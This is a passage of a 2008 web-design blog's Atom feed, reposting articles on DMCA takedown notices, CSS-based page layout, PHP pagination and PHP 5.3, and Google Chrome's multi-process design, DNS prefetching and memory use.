publisher, or transmitter of content, the protections of the DMCA may apply to you. The DMCA protections do not apply if you do not fall within the service provider definition.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;If you are a creator of online content&lt;/span&gt;—or any copyrightable material—you may be required to respond to a DMCA take-down notice.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;What type of content does the DMCA regulate?&lt;/span&gt; The DMCA uses the term material to mean any copyrightable work including written text (also referred to as literary works), visual works, graphic works, or musical work protectable under the Copyright Act.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Does the DMCA cover design as well as content?&lt;/span&gt; The DMCA covers copyrightable works, period.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Is software code material?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; Yes, if it is displayed on an online service. Even code that passes between two computers is a literary work and protectable under the Copyright Act. Thus, code is material under the DMCA.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Sending or receiving a take-down notice&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, so you’ve got online content. Or you’ve seen your content online on a site that you did not authorize or license. If you find yourself in the position of sending or receiving a take-down notice, this informal checklist will help you get it right the first time:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Follow the rules&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you get a take-down notice from your web host, client, or content publisher, you should understand the implications of taking down the content. You should also know that the DMCA (17 USC 512) does not provide liability insulation to the mere content creator or publisher. The insulation is for your web host, and the reason you should respond to their take-down request is 1) so your web host or client doesn’t terminate your contract; and 2) to avoid any further claims of damages by the party that alleges infringement.&lt;br /&gt;&lt;br /&gt;If you put the content up—on your own web site, for example—the DMCA is not going to work for you if you receive a take-down notice, but it will dictate how you respond. So take note.&lt;br /&gt;&lt;br /&gt;If you wonder whether you might qualify under the first prong of the DMCA for liability insulation, is the transmission of the material initiated by or at the direction of a person other than you? If the answer is yes, then you might fit into the definition of a protected service provider. (Please call your lawyer to find out why I say you might fit into the definition and have some liability insulation. It is not a complete immunity.) If you qualify and follow the rules, you—a service provider—are not liable for money damages or injunctive relief for copyright infringement. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Get your notice done right&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So you don’t fit the service provider definition, but your client has sent a take-down notice to you. Now what? Is the take-down notice complete and effective? If it is not, that does not relieve you from any liability, but it may slow down the complaining party and may also slow down your web host form turning you off or from taking down your content.&lt;br /&gt;&lt;br /&gt;To send an effective notice, the injured party must put it in writing. An irate phone call won’t work. The notice must meet the following requirements:&lt;br /&gt;&lt;br /&gt;    * Be signed by an authorized person (either the owner of an exclusive right that is allegedly infringed, or their agent).&lt;br /&gt;    * Identify what was infringed. Specifically, it must list or describe the copyrighted work claiming to have been infringed, or, if multiple copyrighted works at a single online site are covered by a single notification, a representative list of such works at that site.&lt;br /&gt;    * Identify the material that is infringing—with “reasonably sufficient” detail—to permit the service provider to locate the material.&lt;br /&gt;    * Include the complaining party’s complete contact information.&lt;br /&gt;    * Include the following statements:&lt;br /&gt;          o “The complaining party has a good faith belief that use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law;” and&lt;br /&gt;          o “The notification is accurate, and under penalty of perjury, that the complaining party is authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.” &lt;br /&gt;&lt;br /&gt;So, if the notice does not meet these requirements, you will be in a position to write to your web host or client—or the party that sent you the notice—to request a corrected notice. You should still begin to think about how you will defend against an alleged claim for infringement because remember, the DMCA does not insulate non-service providers. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Agent designated?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you’re a service provider seeking insulation under DMCA you must designate an agent with the US Copyright Office. If you’re trying to track down the copyright agent, look at the Copyright Office’s DMCA agent listing. If your alleged infringer does not have an agent, this could be a mark against them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Take reasonable steps to contact complainer with inadequate notice&lt;/span&gt;. If a notice comes in that substantially complies, contact the complainer promptly to maintain insulation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Take down the content in accordance with 512(g)&lt;/span&gt;. (Remember that this article is general info only and may not apply to your situation. Nothing substitutes for talking to a lawyer about your factually specific situation). If you are a web designer, you should carefully:&lt;br /&gt;&lt;br /&gt;    * consider taking down your content or disabling access;&lt;br /&gt;    * preparing a counter-notice (see below) within ten days of receipt of the original take-down notice to refute its allegations and demand that your web host replace the content;&lt;br /&gt;    * monitor the original posting to see if your web host did in fact replace the removed material and cease disabling in not less than ten and not more than fourteen business days after receipt of counter notice, unless the content creator has received notice from complainant that an action has been filed. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What counter-notice is needed?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Your web host sends you a take-down notice they received from a third party. Now what? Without delay, send a counter-notice to the web host’s designated agent that:&lt;br /&gt;&lt;br /&gt;    * has your signature;&lt;br /&gt;    * states that the content in question has been removed and disabled, along with the location where it was;&lt;br /&gt;    * states, “the subscriber has a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled”;&lt;br /&gt;    * includes your complete contact info and a statement that “the subscriber consents to the jurisdiction of Federal District Court for the judicial district in which the address is located, or if the subscriber’s address is outside of the United States, for any judicial district in which the service provider may be found, and that the subscriber will accept service of process from the person who provided notification under subsection©(1)(C) or an agent of such person.” &lt;br /&gt;&lt;br /&gt;If your content is taken down and you receive a take-down order, your recourse against your web host is limited.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you provide content for others and are not a mere passive conduit, a web host or publisher, the DMCA may not provide protection for you from a lawsuit but it does provide a mechanism you must follow. Pay close attention to where your content is posted, hosted, and published. Look for the copyright agent registered with the Copyright Office. Follow the take-down notice specifics precisely, and do not let up until you get the proper response from your take-down notice.&lt;br /&gt;&lt;br /&gt;The DMCA may be a tool to protect the web host and content publisher, but its effect may be to put a huge burden onto the shoulders of the content owner. If you are the content owner, knowledge of the DMCA will be an important tool in your arsenal. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theitarticles.com/web-design-and-the-dmca-giving-and-getting-take-down-notices/365/"&gt;Article Source&lt;/a&gt;&lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4349389612742774313?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4349389612742774313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4349389612742774313' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4349389612742774313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4349389612742774313'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/web-design-and-dmca-giving-and-getting.html' title='Web Design and the DMCA: Giving and Getting Take Down Notices'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6646528065343690004</id><published>2008-10-28T07:30:00.000-07:00</published><updated>2008-10-28T07:35:31.470-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tabless Design Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Design Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>CSS Controlled Web Design - Tables are for sitting at...</title><content type='html'>By now, most web designers are aware of the many benefits of using CSS (Cascading Style Sheets) to control the formatting and appearance of text elements within their web pages.&lt;br /&gt;&lt;br /&gt;Indeed, if applied as outlined in one of my articles from 2006 ( CSS - Weight-Loss for your Code), Cascading Style Sheets can substantially cut down the amount of code needed to present a web page in a polished and professional manner.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What few designers realise however, is that CSS is capable of so much more than just handling a page's text formatting.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If used to its fullest capability, the Style Sheet is capable of controlling just about every aspect of page layout and presentation, even to the extent of replacing a Hyper-Text document's traditional table-based design structure.&lt;br /&gt;Quite aside from saving the web developer a substantial amount of coding time, this approach also cuts down the amount of code needed to display a web page properly to an absolute minimum. So much so that in the recent redesign of one of our web sites, the use of CSS controlled HTML cut the average document size from 24kb to less than 5kb.&lt;br /&gt;&lt;br /&gt;The key to designing CSS controlled web pages, rests in the use of DIV Tags and DIV IDs&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;For example, a traditional table structure would look something like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Please note that angle brackets have been replaced by square brackets to display the following code correctly.&lt;br /&gt;&lt;br /&gt;[table width="800" align="center" cellpadding="0" cellspacing="0"]&lt;br /&gt;[tr]&lt;br /&gt;[td width="560" align="left" class="one"][h1]Example Text[/h1][/td]&lt;br /&gt;[td width="240" align="left" class="two"] [img xsrc="images/exampleimage.jpg" width="200" height="100" alt="Example Image"][/td]&lt;br /&gt;[/tr]&lt;br /&gt;[/table]&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight:bold;"&gt;With CSS control, exactly the same look and feel can be achieved by the following two DIV Tags:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[div id="content"][h1]Example Text[/h1][/div]&lt;br /&gt;[div id="image"][img xsrc="images/exampleimage.jpg" width="200" height="100" alt="Example Image"] [/div]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt; The DIV ID passes control of layout and appearance to the CSS, which handles it as follows:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#content {&lt;br /&gt;    position:absolute;&lt;br /&gt;    width: 560px;&lt;br /&gt;    height: 100px;&lt;br /&gt;    ;top: 10px;&lt;br /&gt;    left: 100px;&lt;br /&gt;    font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;    font-size: 12px;&lt;br /&gt;    font-weight: normal;&lt;br /&gt;    color: #000000;&lt;br /&gt;    background-color: #FFFFFF;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#image {&lt;br /&gt;   position:absolute;&lt;br /&gt;   width: 240px;&lt;br /&gt;   height: 100px;&lt;br /&gt;   top: 10px;&lt;br /&gt;   left: 660px;&lt;br /&gt;   font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;   font-size: 12px;&lt;br /&gt;   font-weight: normal;&lt;br /&gt;   color: #000000;&lt;br /&gt;   background-color: #FFFFFF;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;On the face of it, it may seem like this entails some extra work on the designer's part, but don't forget that at the same time as controlling the DIV Tag's position and appearance, the CSS also handles all text formatting, and that the above Style Sheet will only need to be written once in order to control an entire web site.&lt;br /&gt;Then of course there is the fact that the above example is an immensely simple one. Imagine for a moment, the sheer amount of code which is saved by using CSS over the course of writing an in-depth web page.&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight:bold;"&gt;The end result is an HTML document which has been stripped of all unnecessary code and is consequently extremely 'light-weight' and easily indexed by search engines.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Additionally, it is also possible to radically alter a page's appearance at the click of a button without ever changing any of its HTML code. This approach is very capably demonstrated at the CSS Zen Garden, where more information about the power of CSS controlled web design can be found.&lt;br /&gt;&lt;br /&gt;Furthermore, like HTML, CSS is undergoing constant revisions and will doubtlessly grow to play an even more important part in web design during years to come. Therefore, now may be a good time to further acquaint yourself with the full functionality of this essential web design element.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theitarticles.com/css-controlled-web-design-tables-are-for-sitting-at/366/"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6646528065343690004?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6646528065343690004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6646528065343690004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6646528065343690004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6646528065343690004'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/css-controlled-web-design-tables-are.html' title='CSS Controlled Web Design - Tables are for sitting at...'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7505158690126468678</id><published>2008-09-20T09:02:00.000-07:00</published><updated>2008-09-20T09:03:49.108-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How a Perfect PHP Pagination Works ?</title><content type='html'>Pagination is a topic that has been done to death -- dozens of articles and reference classes can be found for the management of result sets ... however (and you knew there was a "however" coming there, didn't you?) I've always been disgruntled with the current offerings to date. In this article I offer an improved solution.&lt;br /&gt;&lt;br /&gt;Some pagination classes require parameters, such as a database resource and an SQL string or two, to be passed to the constructor. Classes that utilize this approach are lacking in flexibility - what if you require a different formatting of page numbers at the top and bottom of your pages, for example? Do you then have to modify some output function, or subclass the entire class, just to override that one method? These potential "solutions" are restrictive and don't encourage code reuse.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;This tutorial is an attempt to further abstract a class for managing result pagination, thereby removing its dependencies on database connections and SQL queries. The approach I'll discuss provides a measure of flexibility, allowing the developer to create his or her very own page layouts, and simply register them with the class through the use of an object oriented design pattern known as the Strategy Design Pattern.&lt;br /&gt;What Is the Strategy Design Pattern?&lt;br /&gt;&lt;br /&gt;Consider the following: you have on your site a handful of web pages for which the results of a query are paged. Your site uses a function or class that handles the retrieval of your results and the publishing of your paged links.&lt;br /&gt;&lt;br /&gt;This is all well and good until you decide to change the layout of the paged links on one (or all) of the pages. In doing so, you're most likely going to have to modify the method to which this responsibility was delegated. &lt;br /&gt;&lt;br /&gt;A better solution would be to create as many layouts as you like, and dynamically choose the one you desire at runtime. The Strategy Design Pattern allows you to do this. In a nutshell, the Strategy Design Pattern is an object oriented design pattern used by a class that wants to swap behavior at run time.&lt;br /&gt;&lt;br /&gt;Using the polymorphic capabilities of PHP, a container class (such as the Paginated class that we'll build in this article) uses an object that implements an interface, and defines concrete implementations for the methods defined in that interface.&lt;br /&gt;&lt;br /&gt;While an interface cannot be instantiated, it can reference implementing classes. So when we create a new layout, we can let the strategy or interface within the container (the Paginated class) reference the layouts dynamically at runtime. Calls that produce the paged links will therefore produce a page that's rendered with the currently referenced layout.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sitepoint.com/article/perfect-php-pagination/"&gt;http://www.sitepoint.com/article/perfect-php-pagination/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7505158690126468678?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7505158690126468678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7505158690126468678' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7505158690126468678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7505158690126468678'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/09/how-perfect-php-pagination-works.html' title='How a Perfect PHP Pagination Works ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5446710093735250438</id><published>2008-09-20T08:52:00.000-07:00</published><updated>2008-09-20T08:53:07.101-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>What's new in PHP 5.3 ?</title><content type='html'>PHP 6 is just around the corner, but for developers who just can't wait, there's good news -- many of the features originally planned for PHP 6 have been back-ported to PHP 5.3, a final stable release of which is due in the first half of this year.&lt;br /&gt;&lt;br /&gt;This news might also be welcomed by those that wish to use some of the new features, but whose hosting providers will not be upgrading to version 6 for some time -- hosting providers have traditionally delayed major version updates while acceptance testing is performed (read: the stability has been proven elsewhere first). Many hosting companies will probably delay upgrading their service offerings until version 6.1 to be released. A minor upgrade from 5.2.x to 5.3, however, will be less of a hurdle for most hosting companies.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;This article introduces the new features, gives examples of where they might be useful, and provides demo code to get you up and running with the minimum of fuss. It doesn't cover topics such as installing PHP 5.3 -- the latest development release of which is currently available. If you'd like to play along with the code in this article, you should install PHP 5.3, then download the code archive. An article on installing PHP 5.3 can be&lt;br /&gt;found on the Melbourne PHP Users Group web site.&lt;br /&gt;Namespaces&lt;br /&gt;&lt;br /&gt;Before the days of object oriented PHP, many application developers made use of verbose function names in order to avoid namespace clashes. Wordpress, for example, implements functions such as wp_update_post and wp_create_user. The wp_ prefix denotes that the function pertains to the Wordpress application, and reduces the chance of it clashing with any existing functions.&lt;br /&gt;&lt;br /&gt;In an object oriented world, namespace clashes are less likely. Consider the following example code snippet, which is based on a fictional blogging application:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sitepoint.com/article/whats-new-php-5-3/"&gt;Read More Here&lt;/a&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5446710093735250438?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5446710093735250438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5446710093735250438' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5446710093735250438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5446710093735250438'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/09/whats-new-in-php-53.html' title='What&apos;s new in PHP 5.3 ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7563777617312184468</id><published>2008-09-20T08:42:00.000-07:00</published><updated>2008-09-20T08:52:03.907-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browser'/><title type='text'>Google Chrome's Multi-process Architecture</title><content type='html'>Unlike most current web browsers, Google Chrome uses many operating system processes to keep web sites separate from each other and from the rest of your computer.  In this blog post, I'll explain why using a multi-process architecture can be a big win for browsers on today's web.  I'll also talk about which parts of the browser belong in each process and in which situations Google Chrome creates new processes.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;1. Why use multiple processes in a browser?&lt;br /&gt;&lt;br /&gt;In the days when most current browsers were designed, web pages were simple and had little or no active code in them.  It made sense for the browser to render all the pages you visited in the same process, to keep resource usage low.&lt;br /&gt;&lt;br /&gt;Today, however, we've seen a major shift towards active web content, ranging from pages with lots of JavaScript and Flash to full-blown "web apps" like Gmail.  Large parts of these apps run inside the browser, just like normal applications run on an operating system.  Just like an operating system, the browser must keep these apps separate from each other.&lt;br /&gt;&lt;br /&gt;On top of this, the parts of the browser that render HTML, JavaScript, and CSS have become extraordinarily complex over time.  These rendering engines frequently have bugs as they continue to evolve, and some of these bugs may cause the rendering engine to occasionally crash.  Also, rendering engines routinely face untrusted and even malicious code from the web, which may try to exploit these bugs to install malware on your computer.&lt;br /&gt;&lt;br /&gt;In this world, browsers that put everything in one process face real challenges for robustness, responsiveness, and security.  If one web app causes a crash in the rendering engine, it will take the rest of the browser with it, including any other web apps that are open.  Web apps often have to compete with each other for CPU time on a single thread, sometimes causing the entire browser to become unresponsive.  Security is also a concern, because a web page that exploits a vulnerability in the rendering engine can often take over your entire computer.&lt;br /&gt;&lt;br /&gt;It doesn't have to be this way, though.  Web apps are designed to be run independently of each other in your browser, and they could be run in parallel.  They don't need much access to your disk or devices, either.  The security policy used throughout the web ensures this, so that you can visit most web pages without worrying about your data or your computer's safety.  This means that it's possible to more completely isolate web apps from each other in the browser without breaking them.  The same is true of browser plug-ins like Flash, which are loosely coupled with the browser and can be separated from it without much trouble.&lt;br /&gt;&lt;br /&gt;Google Chrome takes advantage of these properties and puts web apps and plug-ins in separate processes from the browser itself.  This means that a rendering engine crash in one web app won't affect the browser or other web apps.  It means the OS can run web apps in parallel to increase their responsiveness, and it means the browser itself won't lock up if a particular web app or plug-in stops responding.  It also means we can run the rendering engine processes in a restrictive sandbox that helps limit the damage if an exploit does occur.&lt;br /&gt;&lt;br /&gt;Interestingly, using multiple processes means Google Chrome can have its own Task Manager (shown below), which you can get to by right clicking on the browser's title bar.  This Task Manager lets you track resource usage for each web app and plug-in, rather than for the entire browser.  It also lets you kill any web apps or plug-ins that have stopped responding, without having to restart the entire browser.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.chromium.org/2008/09/multi-process-architecture.html"&gt;Read More Here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7563777617312184468?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7563777617312184468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7563777617312184468' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7563777617312184468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7563777617312184468'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/09/google-chromes-multi-process.html' title='Google Chrome&apos;s Multi-process Architecture'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8746729896091597207</id><published>2008-09-20T08:39:00.000-07:00</published><updated>2008-09-20T08:41:12.495-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browser'/><title type='text'>Google Chrome's DNS Prefetching (or Pre-Resolving)</title><content type='html'>A major goal of Google Chrome was to improve user enjoyment and value in web surfing. Critical to that is increasing the responsiveness of the browser to user input, or reducing user perceived latency. Measurements in the browser have shown that a significant amount of time is traditionally spent waiting for DNS to resolve domain names. To speed up browsing, Google Chrome resolves domain names before the user navigates, typically while the user is viewing a web page. This is done using your computer's normal DNS resolution mechanism; no connection to Google is used. As a result, user navigation time in Google Chrome when first visiting a domain is on average about 250ms faster than traditional browsing, and the occasional but painful 1-second-plus delays are almost never experienced.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;How it works, and how much it helps.&lt;br /&gt;&lt;br /&gt;First off, DNS Resolution is the translation of a domain name, such as www.google.com, into an IP address, such as 74.125.19.147. A user can't go anywhere on the internet until after the target domain is resolved via DNS.&lt;br /&gt;&lt;br /&gt;The histograms at the end of this post show actual resolution times encountered when computers needed to contact their network for DNS resolutions. The data was gathered during our pre-release testing by Google employees who opted-in to contributing their results. As can be seen in that data, the average latency was generally around 250ms, and many resolutions took over 1 second, some even several seconds.&lt;br /&gt;&lt;br /&gt;DNS prefetching just resolves domain names before a user tries to navigate, so that there will be no effective user delay due to DNS resolution. The most obvious example where prefetching can help is when a user is looking at a page with many links to various unexplored domains, such as a search results page. Google Chrome automatically scans the content of each rendered page looking for links, extracting the domain name from each link, and resolving each domain to an IP address. All this work is done in parallel with the user's reading of the page, hardly using any CPU power. When a user clicks on any of these pre-resolved names to visit a new domain, they will save an average of over 250ms in their navigation.  &lt;br /&gt;&lt;br /&gt;If you've been running Google Chrome for a while, be sure to try typing "about:dns" into the address bar to see what savings you've accrued! Humorously, this prefetching feature often goes unnoticed, as users simply avoid the pain of waiting, and tend to think the network is just fast and smooth. To look at it another way, DNS prefetching removes the variance from surfing latency that is induced by DNS resolutions. (Note: If about:dns doesn't show any savings, then you probably are using a proxy, which is resolving DNS on the behalf of your browser.)&lt;br /&gt;&lt;br /&gt;There are several other benefits that Google Chrome derives from DNS prefetching. During startup, it pre-resolves domain names, such as the home pages, very early in the startup process. This tends to save about 200-500 ms during application startups. Google Chrome also pre-resolves the host names in URLs suggested by the omnibox while the user is typing, but before they press enter. This feature works independently of the broader omnibox logic, and doesn't utilize any connection to Google. As a result, Google Chrome will generally navigate to a typed URL faster, or reach a user's search provider faster. Depending on the popularity of the target domain, this can save 100-250ms on average, and much more in the worst case.&lt;br /&gt;&lt;br /&gt;If you are running Google Chrome, try typing "about:histograms/DNS.PrefetchFoundName" into the address bar to see details of the resolution times currently being encountered on your machine.&lt;br /&gt;&lt;br /&gt;The bottom line to all this DNS prefetching is that Google Chrome works overtime, anticipating a user's needs, and making sure they have a very smooth surfing experience. Google Chrome doesn't just render and run Java Script at a remarkable speed, it gets users to their destinations quickly, and generally sidesteps the pitfalls surrounding DNS resolution time.&lt;br /&gt;&lt;br /&gt;Of course, the best way to see this DNS prefetching feature work, is to just surf.  &lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.chromium.org/2008/09/dns-prefetching-or-pre-resolving.html"&gt;Read More Here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8746729896091597207?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8746729896091597207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8746729896091597207' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8746729896091597207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8746729896091597207'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/09/google-chromes-dns-prefetching-or-pre.html' title='Google Chrome&apos;s DNS Prefetching (or Pre-Resolving)'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4519334374067764087</id><published>2008-09-20T08:21:00.000-07:00</published><updated>2008-09-20T08:29:24.281-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browser'/><title type='text'>Google Chrome Memory Usage - Good and Bad</title><content type='html'>A lot of smart people are doing some serious tire kicking on Google Chrome. Now with several days of testing under their belts, we're seeing many observations about Google Chrome's memory usage. I've just posted a techie document about memory over on the developer website as an initial brain-dump of our current thinking about memory usage within Google Chrome. This article is a quick summary.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Measuring memory&lt;br /&gt;&lt;br /&gt;If you're measuring memory in a multi-process application like Google Chrome, don't forget to take into account shared memory. If you add the size of each process via the Windows XP task manager, you'll be double counting the shared memory for each process. If there are a large number of processes, double-counting can account for 30-40% extra memory size.&lt;br /&gt;&lt;br /&gt;To make it easy to summarize multi-process memory usage, Google Chrome provides the "about:memory" page which includes a detailed breakdown of Google Chrome's memory usage and also provides basic comparisons to other browsers that are running.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.chromium.org/2008/09/google-chrome-memory-usage-good-and-bad.html"&gt;Read More Here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4519334374067764087?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4519334374067764087/comments/default' title='Post Comments'/><link rel='replies' 